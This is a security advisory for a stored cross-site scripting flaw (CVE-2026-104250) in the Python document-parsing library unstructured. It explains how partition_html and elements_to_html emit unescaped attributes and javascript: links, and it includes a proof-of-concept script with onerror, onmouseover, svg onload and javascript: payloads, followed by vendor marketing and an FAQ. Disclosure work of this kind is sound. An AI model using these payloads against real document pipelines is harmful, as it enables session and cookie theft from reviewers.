Summary
unstructured: Stored XSS via unescaped HTML generation
When unstructured parses an untrusted document and outputs the result as HTML, malicious markup contained in the document (e.g. <img src=x onerror=...>) is left in the output HTML without escaping. When that output is displayed in a browser, the script embedded in the document executes in the viewer's browser.
Details
partition_html(html_parser_version="v2") (and the VLM partitioner) preserve the input document's element tags, attributes, and text into metadata.text_as_html, and elements_to_html() outputs that as an HTML document.
The function that builds HTML on this path, to_html() in unstructured/documents/ontology.py, performs no escaping at all. As a result, event handlers such as onerror / onmouseover / onload originating from the input document are left in the output HTML as-is (literal <script> tags are stripped by the parser, but attribute-based vectors and javascript: URLs are not). In addition, link URLs are not scheme-filtered, so <a href="javascript:..."> is also emitted.
Relevant source: documents/ontology.py (to_html, _construct_attribute_string, _generate_final_html); partition/html/transformations.py (text_as_html = ontology_element.to_html()); partition/html/convert.py (elements_to_html).
PoC
Environment: downloads.unstructured.io/unstructured-io/unstructured:latest, unstructured 0.23.3.
from unstructured.partition.html import partition_html
from unstructured.partition.html.convert import elements_to_html
malicious = ('<body class="Document">'
'<p class="Paragraph" onmouseover="alert(1)">hello'
'<img src=x onerror="alert(document.domain)"></p>'
'<a class="Hyperlink" href="javascript:alert(document.cookie)">click me</a>'
'</body>')
els = partition_html(text=malicious, html_parser_version="v2")
open("xss_output.html", "w").write(elements_to_html(list(els), no_group_by_page=True))
elements_to_html() output body, the unescaped vectors survive:
<p class="NarrativeText" id="..." onmouseover="alert(1)">
<p class="Paragraph">hello</p>
<img class="Image" onerror="alert(document.domain)" src="x"/>
</p>
<a class="UncategorizedText" href="javascript:alert(document.cookie)" id="...">click me</a>
Opening xss_output.html in a browser fires alert automatically (via <img onerror>), with no interaction. Per-vector confirmation (each payload labelled, each verified in a browser):
| Vector | Trigger | Cause |
|---|---|---|
<img onerror> |
open file (auto) | element text not escaped |
<svg onload> (via title='"><svg ...>') |
open file (auto) | attribute value not escaped (" breakout) |
<a href=javascript:> |
click | link URL scheme not filtered |
onmouseover |
hover | source attribute preserved as-is |
Impact
Stored XSS caused by improper output encoding. Anyone who renders the HTML or text_as_html generated from an untrusted document is affected. In an ingestion pipeline where uploaded documents are parsed and a staff member reviews their contents in a web UI, a low-privileged or external submitter can inject malicious HTML; when a privileged reviewer later opens the parsed result, <img onerror> fires in their session with no interaction, leading to cross-record information disclosure and privileged actions.
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
CVE-2026-104250 has a CVSS score of 6.1 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.24.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2026-104250? CVE-2026-104250 is a medium-severity cross-site scripting (XSS) vulnerability in unstructured (pip), affecting versions <= 0.24.0. It is fixed in 0.24.1. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- How severe is CVE-2026-104250? CVE-2026-104250 has a CVSS score of 6.1 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of unstructured are affected by CVE-2026-104250? unstructured (pip) versions <= 0.24.0 is affected.
- Is there a fix for CVE-2026-104250? Yes. CVE-2026-104250 is fixed in 0.24.1. Upgrade to this version or later.
- Is CVE-2026-104250 exploitable, and should I be worried? Whether CVE-2026-104250 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-104250 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-104250? Upgrade
unstructuredto 0.24.1 or later.